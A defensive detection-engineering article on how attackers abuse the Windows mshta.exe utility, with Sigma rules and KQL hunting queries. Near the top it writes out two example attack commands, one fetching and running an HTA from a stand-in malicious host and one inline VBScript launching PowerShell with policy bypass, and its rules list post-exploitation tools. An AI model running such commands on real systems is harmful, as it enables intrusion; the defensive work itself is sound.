Mshta.exe (Microsoft HTML Application Host) is a Windows utility designed to execute .hta files — HTML applications that can run VBScript or JScript with system-level privileges outside the browser sandbox. What makes it a persistent adversary favourite is that it is a legitimate, Microsoft-signed binary present on every Windows system, which allows it to bypass application whitelisting controls and many script execution policies.

MSHTA abuse is classified under MITRE ATT&CK T1218.005 (Signed Binary Proxy Execution: Mshta). It appears across threat actor categories from initial access brokers executing first-stage payloads to nation-state groups using HTA files in spearphishing attachments. The detection surface is well-defined — focus on process telemetry, parent-child process relationships, and the specific command-line patterns that indicate malicious use.

How Threat Actors Abuse MSHTA

The core abuse pattern is using mshta.exe to execute script content that would otherwise be blocked by policy or security tools. The common variants:

Remote HTA execution — mshta.exe is called with a remote URL argument, causing it to download and execute an HTA file without a local file being written to disk:

mshta.exe https://malicious.example/payload.hta

VBScript/JScript inline execution — script content is passed directly on the command line using the vbscript: or javascript: URI schemes:

mshta.exe vbscript:Execute("CreateObject(""WScript.Shell"").Run""powershell.exe -ep bypass"",0,True:close")

Office macro delivery — a malicious Word or Excel document spawns mshta.exe as part of a macro-based execution chain, often as the first observable process in a kill chain.

Shortcut (.lnk) delivery — phishing emails deliver .lnk files that execute mshta.exe with a remote HTA URL, with the .lnk providing the initial execution vector that spawns mshta.

Scheduled task persistence — attackers create scheduled tasks that invoke mshta.exe with a malicious HTA payload for persistent execution.

Threat actors documented using this technique include ScarCruft (APT37), Lazarus Group, MuddyWater, FIN7, and multiple commodity malware loaders that form the initial access broker supply chain feeding ransomware operations.

Detection Opportunities

Anomalous Parent-Child Relationships

The most reliable primary detection: mshta.exe spawned by Office applications, browser processes, or other unusual parents indicates a malicious execution chain. Legitimate mshta.exe usage is typically invoked by users directly or by known administration scripts — it should rarely be a child process of office applications.

Sigma — Office Spawning MSHTA:

title: MSHTA.exe Spawned by Office Application
id: a79e3a04-dc11-4c2d-a578-8f36e9cc8b98
status: stable
description: Detects mshta.exe spawned by Microsoft Office applications, a common indicator of malicious HTA payload delivery via document macros
author: Detection Engineering
date: 2026/08/17
references:
  - https://attack.mitre.org/techniques/T1218/005/
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\mshta.exe'
    ParentImage|endswith:
      - '\winword.exe'
      - '\excel.exe'
      - '\powerpnt.exe'
      - '\outlook.exe'
      - '\onenote.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\msiexec.exe'
  condition: selection
falsepositives:
  - Legitimate HTA-based administrative tools invoked through Office automation (very rare)
level: high
tags:
  - attack.defense_evasion
  - attack.t1218.005

Remote HTA Download Execution

MSHTA fetching an HTA from a remote URL produces a network connection from the mshta.exe process immediately following process creation. This can be detected via endpoint telemetry (process network events) or via proxy/DNS logs.

Sigma — MSHTA Remote URL Execution:

title: MSHTA.exe Loading Remote HTA File
id: b1e5d1c4-8a2f-4b7c-9e3d-5f6c7a8b9c0d
status: stable
description: Detects mshta.exe invoked with a remote URL (http/https/ftp) argument, indicating remote HTA payload execution
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\mshta.exe'
    CommandLine|contains:
      - 'http://'
      - 'https://'
      - 'ftp://'
      - '\\\\' # UNC path
  filter_legitimate:
    CommandLine|contains:
      - 'ms-settings:'  # Windows Settings HTA
      - 'hcp://'        # Help Center
  condition: selection and not filter_legitimate
falsepositives:
  - Internal HTA-based admin portals served from web servers (document and allowlist)
level: high
tags:
  - attack.defense_evasion
  - attack.t1218.005

VBScript/JScript Inline Execution

Inline script execution via the vbscript: or javascript: URI scheme in the command line is almost universally malicious. Legitimate HTA applications do not use inline script URI schemes in command-line invocations.

Sigma — MSHTA Inline Script Execution:

title: MSHTA.exe Inline VBScript or JScript Execution
id: c2d8e4f1-9b3a-4c5d-8e7f-1a2b3c4d5e6f
status: stable
description: Detects mshta.exe called with vbscript: or javascript: URI scheme arguments, a pattern strongly associated with malicious in-memory script execution
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\mshta.exe'
    CommandLine|contains:
      - 'vbscript:'
      - 'javascript:'
      - 'VBScript.Encode'
      - 'JScript.Encode'
  condition: selection
falsepositives:
  - None expected in standard enterprise environments
level: critical
tags:
  - attack.defense_evasion
  - attack.t1218.005

MSHTA Spawning Suspicious Child Processes

After execution, malicious HTA files typically launch additional processes. Mshta.exe spawning PowerShell, cmd.exe, WScript, or curl is a strong indicator of payload execution.

Sigma — MSHTA Spawning Suspicious Processes:

title: MSHTA.exe Spawning Suspicious Child Process
id: d3e9f5a2-0c4b-4d6e-9f8a-2b3c4d5e6f7a
status: stable
description: Detects mshta.exe spawning processes commonly used in post-exploitation, indicating the HTA payload is executing a further stage
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: '\mshta.exe'
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\cmd.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\regsvr32.exe'
      - '\rundll32.exe'
      - '\certutil.exe'
      - '\curl.exe'
      - '\bitsadmin.exe'
  condition: selection
falsepositives:
  - Legitimate HTA administration applications that invoke shell commands (should be rare and documented)
level: high
tags:
  - attack.defense_evasion
  - attack.t1218.005
  - attack.execution
  - attack.t1059

KQL for Microsoft Sentinel and Defender XDR

The equivalent detection in KQL for environments using Microsoft Sentinel (DeviceProcessEvents) or Defender XDR:

// MSHTA abused for remote payload retrieval or inline script execution
DeviceProcessEvents
| where FileName =~ "mshta.exe"
| where
    // Remote URL execution
    ProcessCommandLine has_any ("http://", "https://", "ftp://")
    // Inline script execution
    or ProcessCommandLine has_any ("vbscript:", "javascript:", "VBScript.Encode")
    // Office document parent
    or InitiatingProcessFileName has_any ("winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe")
| project
    Timestamp,
    DeviceName,
    AccountName,
    ProcessCommandLine,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    SHA256
| order by Timestamp desc
// MSHTA spawning suspicious child processes
DeviceProcessEvents
| where InitiatingProcessFileName =~ "mshta.exe"
| where FileName has_any (
    "powershell.exe", "pwsh.exe", "cmd.exe",
    "wscript.exe", "cscript.exe", "regsvr32.exe",
    "rundll32.exe", "certutil.exe", "curl.exe", "bitsadmin.exe"
    )
| project
    Timestamp,
    DeviceName,
    AccountName,
    FileName,
    ProcessCommandLine,
    InitiatingProcessCommandLine
| order by Timestamp desc

Hunting for Historical MSHTA Activity

Retrospective hunting across historical telemetry can surface past MSHTA abuse that did not trigger real-time alerts:

// Hunt for unusual mshta.exe network connections (Sentinel NetworkEvents or proxy logs)
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "mshta.exe"
| where RemoteIPType != "Loopback" and RemoteIPType != "Private"
| summarize
    ConnectionCount = count(),
    RemoteIPs = make_set(RemoteIP),
    RemoteURLs = make_set(RemoteUrl)
    by DeviceName, InitiatingProcessCommandLine, bin(Timestamp, 1d)
| order by ConnectionCount desc

Baseline and Allowlisting

Before deploying these rules at high fidelity, baseline legitimate MSHTA usage in your environment. Some enterprise environments use HTA-based admin tools or vendor management consoles — these will generate false positives and should be explicitly allowlisted by parent process, command-line pattern, and the HTA file path.

Environments that do not use any legitimate HTA applications should consider blocking mshta.exe execution entirely via AppLocker or Windows Defender Application Control (WDAC) policy. The binary has no legitimate use in most enterprise environments, making a block-by-default stance operationally low-risk for most organisations. This approach is more effective than detection after the fact and eliminates the entire technique class in environments where the binary is not operationally required.

Correlation with Email and Web Gateway

MSHTA abuse typically starts with email delivery. Correlating endpoint MSHTA events with email gateway telemetry — looking for .hta or .lnk attachments arriving within a short time window before MSHTA execution — helps confirm the delivery vector and identify other recipients of the same phishing campaign who may be compromised but not yet detected.